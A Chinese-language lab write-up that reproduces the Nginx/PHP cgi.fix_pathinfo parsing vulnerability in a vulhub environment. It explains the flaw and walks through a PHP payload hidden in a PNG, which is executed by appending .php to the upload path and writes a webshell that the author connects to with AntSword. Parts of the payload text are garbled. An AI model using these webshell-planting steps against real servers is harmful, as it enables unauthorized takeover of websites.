1、漏洞复现
用vulhub复现该漏洞
vubhub环境搭建:https://blog.csdn.net/weixin_59679023/article/details/123739030
nginx解析漏洞:https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/
打开终端输入:
cd vulhub/nginx/nginx_parsing_vulnerability/
sudo docker-compose up -d //启动环境
sudo docker-compose ps //查看端口号还有IP地址
搜索栏输入IP和端口号进入这个界面
2、漏洞利用原理、利用
1、Nginx 解析漏洞 该解析漏洞是PHP CGI 的漏洞,在PHP的配置文件中有一个关键的选项
cgi.fix_pathinfo默认开启,当URL中有不存在的文件,PHP就会向前递归解析 在一个文件路径(/xx.jpg)后面加上/xx.PHP会将 /xx.jpg /xx.php 解析为 php 文件。2、Nginx<=0.8.37 解析漏洞 在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞 在一个文件路径(/xx.jpg)后面加上%00.php 会将 /xx.jpg%00.php 解析为php 文件 另一种手法:
上传一个名字为test.jpg,以下内容文件。 <?PHP fputs(fopen(‘shell.php’.‘w’),’’);?> 然后访问test.jpg/.php 在这个目录下就会生成一句话木马hell.php。
这里写phpinfo测试。
引用自https://blog.csdn.net/niqiu320/article/details/115481193
随便找一张.png的文件(要得是图片,不然不识别),用Notepad++在图片中加入命令,建议多加几遍
' );?>
然后上传,上传完后显示
访问刚上传上去的文件,成功返回图片信息
http://---ip地址---/uploadfiles/c26be60cfd1ba40772b5ac48b95ab19b.png
这时图片中的代码还没有被执行,在后面加上.php或1.php回车,这时返回乱码,但是其实代码已经执行成功了
访问http://---ip地址---/uploadfiles/shell.php显示
这时就可以使用后门软件连接了,我使用了蚁剑
参考了大神的笔记https://blog.csdn.net/Tauil/article/details/125888127